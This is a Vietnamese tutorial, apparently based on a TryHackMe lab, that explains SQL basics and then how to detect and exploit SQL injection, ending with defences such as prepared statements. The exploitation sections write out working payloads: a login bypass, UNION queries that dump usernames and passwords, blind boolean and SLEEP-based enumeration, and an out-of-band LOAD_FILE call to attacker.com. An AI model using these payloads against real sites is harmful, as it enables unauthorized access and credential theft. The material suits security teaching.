Cách phát hiện và khai thác lỗ hổng SQL Injection
1 - Giới thiệu
SQL Injection, thường gọi tắt là SQLi, là một cuộc tấn công vào máy chủ cơ sở dữ liệu của ứng dụng web khiến các truy vấn độc hại được thực thi. Khi một ứng dụng web giao tiếp với cơ sở dữ liệu bằng dữ liệu nhập từ người dùng mà chưa được kiểm tra đúng cách, kẻ tấn công có thể lợi dụng để đánh cắp, xóa hoặc thay đổi dữ liệu riêng tư và dữ liệu khách hàng, và thậm chí tấn công cơ chế authentication (xác thực) của ứng dụng để truy cập vào các khu vực bảo mật.
Đây là lý do vì sao SQLi được coi là một trong những lỗ hổng ứng dụng web lâu đời nhất - và đồng thời cũng có thể gây ra hậu quả nghiêm trọng nhất.
Trong bài viết này, chúng ta sẽ cùng tìm hiểu:
- Database (cơ sở dữ liệu) là gì.
- SQL cùng với một số lệnh cơ bản.
- Cách phát hiện lỗ hổng SQLi.
- Cách khai thác lỗ hổng SQLi.
- Một số biện pháp bảo vệ ứng dụng của mình khỏi SQL Injection.
2 - Database (Cơ sở dữ liệu)
Nếu bạn chưa quen với việc làm việc hoặc khai thác cơ sở dữ liệu, sẽ có một vài thuật ngữ mới - nên ta sẽ bắt đầu bằng những kiến thức cơ bản về cấu trúc và cách hoạt động của database.
Database là gì?
Database (cơ sở dữ liệu) là cách lưu trữ tập hợp dữ liệu theo dạng điện tử một cách có tổ chức. Một database được quản lý bởi phần mềm gọi là DBMS (Database Management System) (Hệ quản trị cơ sở dữ liệu). DBMS chia thành hai nhóm chính: Relational (quan hệ) và Non-Relational (phi quan hệ / NoSQL) - trong bài này chúng ta tập trung vào các relational databases. Một vài DBMS phổ biến bạn sẽ gặp là MySQL, Microsoft SQL Server, PostgreSQL, SQLite và Access.
Trong một DBMS, bạn có thể có nhiều database khác nhau; mỗi database chứa tập dữ liệu liên quan đến một mục đích cụ thể. Ví dụ, bạn có thể có database tên là shop
để lưu thông tin sản phẩm, người dùng đã đăng ký và các đơn hàng và những dữ liệu này được tổ chức bên trong các tables (bảng).
Tables là gì?
Một table (bảng) gồm columns (cột / fields) và rows (hàng / records) - hình dung giống như một lưới (grid): cột chạy ngang ở phía trên để đặt tên cho các trường dữ liệu; hàng chạy dọc chứa các dòng dữ liệu thực tế.
Columns (Cột / Field)
- Mỗi cột có một tên duy nhất trong bảng.
- Khi tạo cột, ta xác định kiểu dữ liệu mà cột sẽ chứa - ví dụ integer (số nguyên), string (chuỗi văn bản), date (ngày) - điều này giúp ngăn việc lưu dữ liệu sai kiểu (ví dụ lưu
"hello world"
vào cột kiểu date sẽ gây lỗi). - Một cột có thể có thuộc tính auto-increment để tự tăng số cho mỗi hàng mới; khi dùng như vậy thường tạo ra một key field (trường khoá) - giá trị này phải là duy nhất cho mỗi hàng và giúp tìm chính xác hàng đó trong truy vấn SQL.
Rows (Hàng / Record)
- Mỗi row (bản ghi) chứa một dòng dữ liệu riêng. Khi bạn thêm dữ liệu vào bảng thì tạo một row mới; khi xóa dữ liệu thì row tương ứng bị xoá.
Relational vs Non-Relational (Quan hệ và Phi quan hệ)
- Relational databases (Cơ sở dữ liệu quan hệ) lưu thông tin theo dạng bảng, và các bảng có thể liên kết với nhau bằng các cột chung. Thường mỗi bảng có một cột chứa ID duy nhất (primary key - khoá chính), và các bảng khác có thể tham chiếu tới ID đó để tạo relationship giữa các bảng - đó là lý do gọi là relational.
- Non-relational databases (NoSQL / Phi quan hệ) không dùng cấu trúc bảng cột-hàng truyền thống; chúng cho phép lưu dữ liệu theo kiểu linh hoạt hơn (ví dụ document, key-value, column-family, graph), nên mỗi bản ghi có thể chứa cấu trúc khác nhau và không cần schema cố định. Ví dụ phổ biến: MongoDB, Cassandra, Elasticsearch.
3 - SQL là gì?
SQL (Structured Query Language) là một ngôn ngữ được dùng để truy vấn (query) cơ sở dữ liệu. Những truy vấn dùng trong SQL thường được gọi chính xác hơn là các statement (câu lệnh).
Lệnh đơn giản nhất mà chúng ta sẽ tìm hiểu trong task này dùng để SELECT, UPDATE, INSERT và DELETE dữ liệu. Mặc dù hơi giống nhau, nhưng một số hệ quản trị cơ sở dữ liệu (DBMS - Database Management System) có cú pháp riêng và khác biệt nhỏ trong cách hoạt động; các ví dụ dưới đây dựa trên MySQL. Sau khi nắm được các ví dụ, bạn có thể dễ dàng tra cứu cú pháp tương đương cho các hệ khác. Lưu ý rằng cú pháp SQL không phân biệt chữ hoa/chữ thường.
SELECT
Lệnh SELECT được dùng để lấy dữ liệu từ cơ sở dữ liệu.
select * from users;
Ví dụ bảng users
có thể trông như sau:
id username password
1 jon pass123
2 admin p4ssword
3 martin secret123
Trong câu lệnh trên:
SELECT
cho biết chúng ta muốn lấy dữ liệu.*
có nghĩa là lấy tất cả các cột.FROM users
chỉ ra tên bảng làusers
.- Dấu chấm phẩy
;
báo hiệu kết thúc câu lệnh.
Ta có thể chỉ định lấy một vài cột thay vì *
:
select username,password from users;
Ta cũng có thể kết hợp với LIMIT
để chỉ lấy số hàng giới hạn:
select * from users LIMIT 1;
LIMIT 1
sẽ buộc cơ sở dữ liệu chỉ trả về một dòng. Cú pháp LIMIT x,y
yêu cầu bỏ qua x
kết quả đầu tiên, rồi trả về y
dòng tiếp theo (ví dụ LIMIT 1,1
bỏ qua 1 hàng, trả về 1 hàng).
Ta có thể dùng WHERE
để lọc bản ghi:
select * from users where username='admin';
Chỉ những hàng có username
bằng admin
mới được trả về.
Một số ví dụ khác:
select * from users where username != 'admin';
-> Trả về hàng có username
khác admin
.
select * from users where username='admin' or username='jon';
-> Trả về các hàng mà username
là admin
hoặc jon
.
select * from users where username='admin' and password='p4ssword';
-> Trả về hàng khi cả hai điều kiện đều đúng.
Bạn cũng có thể dùng LIKE
với ký tự đại diện %
để tìm chuỗi chứa/bắt đầu/kết thúc bằng ký tự nhất định:
select * from users where username like 'a%';
select * from users where username like '%n';
select * from users where username like '%mi%';
UNION
Lệnh UNION
kết hợp kết quả của hai hoặc nhiều câu lệnh SELECT
thành một tập kết quả duy nhất. Điều kiện là mỗi SELECT
phải trả về cùng số cột, kiểu dữ liệu tương thích và cùng thứ tự cột.
Ví dụ lấy địa chỉ từ hai bảng customers
và suppliers
:
SELECT name,address,city,postcode FROM customers
UNION
SELECT company,address,city,postcode FROM suppliers;
Kết quả sẽ liệt kê tên/địa chỉ/tỉnh/mã bưu chính của cả customers và suppliers trong cùng một tập kết quả.
INSERT
Lệnh INSERT
dùng để thêm một hàng mới vào bảng:
insert into users (username,password) values ('bob','password123');
Bảng users
sau khi chạy có thể thêm dòng:
4 bob password123
UPDATE
Lệnh UPDATE
thay đổi một hoặc nhiều hàng đã tồn tại:
update users SET username='root',password='pass123' where username='admin';
Ví dụ trên sẽ đổi username
admin
thành root
và đổi mật khẩu tương ứng.
DELETE
Lệnh DELETE
xóa một hoặc nhiều hàng. Nếu không có WHERE
, toàn bộ bảng sẽ bị xóa dữ liệu:
delete from users where username='martin';
Hoặc (không dùng WHERE - cẩn thận):
delete from users;
sẽ xóa tất cả hàng trong bảng.
4 - SQL Injection
SQL Injection xảy ra khi dữ liệu do người dùng cung cấp được đưa trực tiếp vào truy vấn SQL. Khi đó, người dùng (hoặc kẻ tấn công) có thể thay đổi cấu trúc truy vấn để lấy những thông tin không được phép.
Ví dụ
Giả sử bạn truy cập một bài blog bằng URL có dạng:
https://website.thm/blog?id=1
Ứng dụng sử dụng truy vấn SQL sau để lấy bài viết (private=0
nghĩa là bài công khai):
SELECT * from blog where id=1 and private=0 LIMIT 1;
Nếu bạn thay id
thành một chuỗi có ký tự đặc biệt, ví dụ:
https://website.thm/blog?id=2;--
Thì truy vấn sẽ trở thành:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
Ở đây:
- Dấu chấm phẩy (
;
) kết thúc câu lệnh SQL hiện tại. - Hai dấu gạch ngang (
--
) biến phần còn lại thành comment nên điều kiệnand private=0 LIMIT 1
bị bỏ qua.
Kết quả là truy vấn thực thi:
SELECT * from blog where id=2;--
và bài viết có id=2
sẽ được trả về dù ban đầu nó có thể được đánh dấu là private (không công khai).
Đây chỉ là một ví dụ về lỗ hổng In-Band SQL Injection (kiểu khai thác cùng kênh); tổng cộng có ba loại SQL Injection: In-Band, Blind và Out-of-Band - những loại này sẽ được mô tả chi tiết trong các phần tiếp theo.
5 - In-Band SQL Injection (Khai thác cùng kênh)
In-Band SQL Injection là kiểu SQLi đơn giản và phổ biến nhất, nơi kẻ tấn công khai thác và nhận kết quả trả về qua cùng một kênh (channel) mà ứng dụng dùng để giao tiếp với người dùng - ví dụ: trang web hiển thị kết quả truy vấn trực tiếp hoặc hiển thị lỗi SQL. In-Band thường chia thành hai dạng hay gặp: Error-based và Union-based.
Error-based SQL Injection
Đây là kiểu SQLi hữu dụng nhất nếu mục tiêu hiển thị lỗi chi tiết từ cơ sở dữ liệu trên trình duyệt. Khi lỗi từ DBMS được in trực tiếp ra trình duyệt, kẻ tấn công có thể tận dụng thông báo lỗi đó để dò cấu trúc cơ sở dữ liệu và từ đó liệt kê toàn bộ database.
Ví dụ, chúng ta có 1 endpoint lấy bài blog theo id
:
https://website.thm/blog?id=1
Ta thử truyền một payload gây lỗi, ví dụ:
https://website.thm/blog?id=1'
Nếu ứng dụng nối trực tiếp giá trị vào truy vấn mà không escape, truy vấn có thể trở thành:
SELECT * FROM blog WHERE id='1'' AND private=0 LIMIT 1;
DBMS sẽ báo lỗi cú pháp, và nếu lỗi này hiển thị ra trình duyệt, thông báo có thể hé lộ cấu trúc câu lệnh hoặc trường/kiểu dữ liệu. Kẻ tấn công dùng thông tin này để điều chỉnh payload lấy dữ liệu cụ thể hơn.
Lưu ý: Error-based chỉ hiệu quả khi ứng dụng hiển thị lỗi chi tiết. Nếu ứng dụng đã tắt hiển thị lỗi ra client, thì phương pháp này sẽ không khả dụng.
Union-based SQL Injection
Kiểu này sử dụng toán tử UNION
cùng với một câu SELECT
để trả thêm kết quả lên trang. Đây là phương pháp phổ biến khi muốn trích xuất lượng lớn dữ liệu qua một lỗ hổng SQL Injection - thông qua việc ghép (union) kết quả do attacker điều khiển vào kết quả hợp lệ của ứng dụng. Để UNION
thành công, các SELECT
phải có số cột bằng nhau và kiểu dữ liệu tương thích.
Các bước tấn công Union-based cơ bản
Tìm số cột mà ứng dụng trả về:
Thử UNION SELECT
với các giá trị tăng dần để biết cần bao nhiêu cột. Ví dụ thử:
https://website.thm/blog?id=1 UNION SELECT 1
Nếu lỗi, thử tiếp:
https://website.thm/blog?id=1 UNION SELECT 1,2
Lặp lại đến khi không lỗi nữa - từ đó sẽ tìm đc số cột được SELECT và cột nào sẽ được hiển thị.
Lấy dữ liệu thực tế từ cơ sở dữ liệu:
Khi biết cột hiển thị, thay giá trị test bằng truy vấn con để lấy dữ liệu mong muốn, ví dụ tên database, bảng hoặc user:
https://website.thm/blog?id=1 UNION SELECT 1, (SELECT database())
Hoặc để lấy username/password:
https://website.thm/blog?id=1 UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>') FROM users LIMIT 1
6 - Blind SQLi - Authentication Bypass
Blind SQLi
Không giống như In-Band SQL injection, nơi chúng ta có thể thấy kết quả của cuộc tấn công trực tiếp trên màn hình, blind SQLi là khi chúng ta nhận được rất ít hoặc hầu như không có phản hồi để xác nhận liệu các truy vấn chèn vào của chúng ta có thực sự thành công hay không. Điều này là vì các thông báo lỗi đã bị tắt, nhưng việc chèn (injection) vẫn hoạt động. Chỉ cần một chút phản hồi thôi cũng đủ để liệt kê toàn bộ cơ sở dữ liệu.
Authentication Bypass
Một trong những kỹ thuật Blind SQL Injection đơn giản nhất là bỏ qua cơ chế xác thực như các form đăng nhập. Trong trường hợp này, chúng ta không quá quan tâm tới việc truy xuất dữ liệu từ cơ sở dữ liệu; mục tiêu chỉ là vượt qua bước đăng nhập.
Các form đăng nhập kết nối tới cơ sở dữ liệu người dùng thường được phát triển sao cho ứng dụng web không quan tâm đến nội dung cụ thể của username và password bằng chính xác nội dung đó, mà quan tâm xem hai giá trị đó có phải là một cặp khớp trong bảng users hay không. Nói một cách đơn giản, ứng dụng web đang hỏi cơ sở dữ liệu: "Bạn có user với username là bob và password là bob123 không?" - cơ sở dữ liệu trả lời có hoặc không (true/false) và tuỳ theo câu trả lời đó mà ứng dụng web quyết định có cho phép truy cập hay không.
Xem xét điều trên, không cần phải liệt kê ra một cặp username/password hợp lệ. Chúng ta chỉ cần tạo một truy vấn cơ sở dữ liệu trả về true.
Ví dụ: Câu truy vấn tới cơ sở dữ liệu khi đăng nhập như sau:
select * from users where username='%username%' and password='%password%' LIMIT 1;
Giá trị %username% và %password% được lấy từ các ô của form đăng nhập. Giá trị ban đầu trong ô SQL Query sẽ rỗng vì các trường này hiện đang trống.
Để biến truy vấn này luôn trả về true, ta có thể nhập vào trường password:
' OR 1=1;--
Điều này biến truy vấn SQL thành:
select * from users where username='' and password='' OR 1=1;
Vì 1=1 là một mệnh đề luôn đúng và ta đã dùng toán tử OR, điều này sẽ luôn khiến truy vấn trả về true, thỏa mãn logic của ứng dụng web rằng cơ sở dữ liệu đã tìm thấy một cặp username/password hợp lệ và do đó cho phép đăng nhập thành công.
7 - Blind SQLi - Boolean Based
Boolean Based
Boolean-based SQL Injection chỉ về phản hồi mà ta nhận được từ các lần chèn (injection) - đó có thể là true/false, yes/no, on/off, 1/0 hoặc bất kỳ phản hồi nào chỉ có hai khả năng. Kết quả đó xác nhận payload SQL Injection của chúng ta thành công hay không. Lúc đầu bạn có thể nghĩ phản hồi hạn chế như vậy không cho nhiều thông tin, nhưng chỉ với hai phản hồi này cũng có thể liệt kê toàn bộ cấu trúc và nội dung của cơ sở dữ liệu.
Ví dụ: Khi truy cập browser với URL sau:
https://website.thm/checkuser?username=admin
Phần body của trình duyệt trả về {"taken":true}
. Endpoint API này mô phỏng một tính năng thường thấy trong nhiều form đăng ký, kiểm tra xem username đã được đăng ký hay chưa để yêu cầu người dùng chọn username khác. Vì taken
đang là true
, ta có thể giả định username admin
đã được đăng ký. Bạn có thể xác nhận bằng cách đổi username trong thanh địa chỉ browser từ admin
thành admin123
, nhấn Enter và quan sát giá trị taken
chuyển sang false
.
Truy vấn SQL được xử lý trông như sau:
select * from users where username = '%username%' LIMIT 1;
Đầu vào duy nhất ta kiểm soát là giá trị username trong query string, và ta sẽ sử dụng điều này để thực hiện SQL injection. Giữ username là admin123
, ta bắt đầu ghép thêm payload để khiến database xác nhận các điều kiện đúng (true), thay đổi trạng thái taken
từ false
sang true
.
Tìm số cột: thử UNION SELECT
với NULL/giá trị tăng dần cho tới khi không lỗi. Ví dụ thử:
admin123' UNION SELECT 1;--
admin123' UNION SELECT 1,2;--
admin123' UNION SELECT 1,2,3;--
Khi 1,2,3
khiến taken
chuyển sang true
, ta biết số cột là 3.
Tìm tên database: dùng database()
với LIKE
và dò tiền tố từng ký tự. Ví dụ:
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
admin123' UNION SELECT 1,2,3 WHERE database() LIKE 's%';--
Lặp qua ký tự để ghép tên database (sqli_three
).
Liệt kê bảng: dò information_schema.tables
bằng LIKE
với cùng cách dò ký tự để tìm các table trong database:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='sqli_three' AND table_name LIKE 'u%';--
Lặp tới khi tìm được bảng users
.
Liệt kê cột: dò information_schema.COLUMNS
theo table users
để tìm các column (ví dụ id
, username
, password
):
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' AND TABLE_NAME='users' AND COLUMN_NAME LIKE 'a%';--
Khi tìm được 1 column là id, thì tiếp tục như vậy để tìm tên column khác:
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
Lặp lại để thu được các tên column cần thiết.
Khai thác dữ liệu: khi biết cột username
/password
, dò username bằng LIKE
, sau đó dò password của username đó:
admin123' UNION SELECT 1,2,3 FROM users WHERE username LIKE 'a%';--
admin123' UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE '3%';--
Lặp qua các ký tự tới khi tìm được mật khẩu. Bạn có thể sử dụng username và password tìm được thông qua lỗ hổng Blind SQL Injection để login vào hệ thống.
8 - Blind SQLi - Time Based
Time-Based
Time-based blind SQL injection rất giống với kiểu boolean-based phía trên ở chỗ các yêu cầu được gửi tương tự, nhưng lần này không có thông tin trực quan cho biết truy vấn của bạn đúng hay sai. Thay vào đó, chỉ có thông tin của truy vấn đúng là thời gian truy vấn hoàn thành. Độ trễ này được tạo bằng các phương thức có sẵn như SLEEP(x) kết hợp với mệnh đề UNION. Phương thức SLEEP() chỉ được thực thi khi một câu lệnh UNION SELECT thành công.
Ví dụ, khi cố gắng xác định số cột trong một bảng, bạn sẽ dùng truy vấn sau:
admin123' UNION SELECT SLEEP(5);--
Nếu không có delay trong thời gian phản hồi, ta biết truy vấn không thành công, vì vậy giống như các task trước, ta thêm một cột nữa:
admin123' UNION SELECT SLEEP(5),2;--
Payload này sẽ gây ra độ trễ 5 giây, xác nhận việc thực thi thành công của câu lệnh UNION và rằng có hai cột.
Bạn có thể lặp lại quá trình liệt kê từ Blind SQLi kiểu Boolean, nhưng thêm phương thức SLEEP() vào câu lệnh UNION SELECT. Sau đó, bạn có thể tìm được tên bảng, tên cột, và các thông tin đăng nhập vào hệ thống.
9 - Out-of-Band SQLi
Out-of-band SQL Injection không phổ biến bằng các phương án khác vì nó phụ thuộc vào các tính năng cụ thể được bật trên database server hoặc vào logic nghiệp vụ của web application, điều này khiến cho một kiểu gọi mạng ngoài (out-of-band) được thực hiện dựa trên kết quả từ một truy vấn SQL.
Một cuộc tấn công Out-of-Band được phân loại bằng cách có hai kênh giao tiếp khác nhau (channel): một kênh để phát động tấn công và kênh kia để thu thập kết quả. Ví dụ: kênh tấn công có thể là một request web, và kênh thu thập dữ liệu có thể là việc theo dõi các request HTTP/DNS được gửi tới một dịch vụ mà bạn kiểm soát.
Quy trình tổng quát:
- Kẻ tấn công gửi một request tới một website dễ bị SQL Injection với payload chèn vào.
- Website thực hiện một truy vấn SQL tới database, trong đó có chứa payload của kẻ tấn công.
- Payload buộc database/ứng dụng gửi một yêu cầu (ví dụ HTTP/DNS) trở lại máy của kẻ tấn công, kèm theo dữ liệu lấy từ database.
Ví dụ:
Một ứng dụng web cho phép nhập username trên form, và backend thực hiện truy vấn SQL. Ứng dụng không trả dữ liệu trực tiếp, nhưng database có thể thực hiện các kết nối HTTP/DNS ra ngoài. Khi đó, cách tấn công Out-of-Band sẽ tạo payload chèn vào để database gửi dữ liệu về máy kẻ tấn công thông qua một request ra bên ngoài (Out-of-Band).
' UNION SELECT LOAD_FILE('\\\\attacker.com\secret.txt');--
Giải thích:
- LOAD_FILE() (MySQL) cố gắng đọc file trên server.
- Nếu file tồn tại, dữ liệu được gửi ra ngoài (ví dụ, kèm tên máy chủ attacker.com).
- Kẻ tấn công thu thập dữ liệu thông qua server mà họ kiểm soát (HTTP/DNS).
10 - Một số biện pháp phòng tránh
Mặc dù SQL Injection có thể gây hậu quả nghiêm trọng, các developer có thể giảm rủi ro bằng một số biện pháp dưới đây.
Prepared statements (Truy vấn chuẩn bị sẵn / Parameterized queries)
Câu SQL được viết trước, dữ liệu đầu vào được truyền vào dưới dạng tham số. Cấu trúc SQL không bị thay đổi, ngăn SQL Injection.
Ví dụ PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
Ví dụ Python (sqlite3):
cursor.execute("SELECT * FROM users WHERE username=? AND password=?", (username, password))
Input validation (Kiểm tra dữ liệu đầu vào)
Giới hạn dữ liệu chỉ chấp nhận các giá trị hợp lệ. Tránh để người dùng nhập bất cứ gì và gửi trực tiếp vào SQL.
Ví dụ:
PHP:
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
die("Username không hợp lệ");
}
Python:
import re
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("Username không hợp lệ")
Escaping user input (Xử lý ký tự đầu vào)
Nếu cần chèn dữ liệu trực tiếp vào chuỗi SQL, phải escape ký tự đặc biệt để chúng không phá vỡ câu lệnh.
Ví dụ:
PHP (MySQLi):
$username = $mysqli->real_escape_string($username);
$query = "SELECT * FROM users WHERE username='$username'";
Python (MySQL connector):
username = cnx.converter.escape(username)
query = f"SELECT * FROM users WHERE username='{username}'"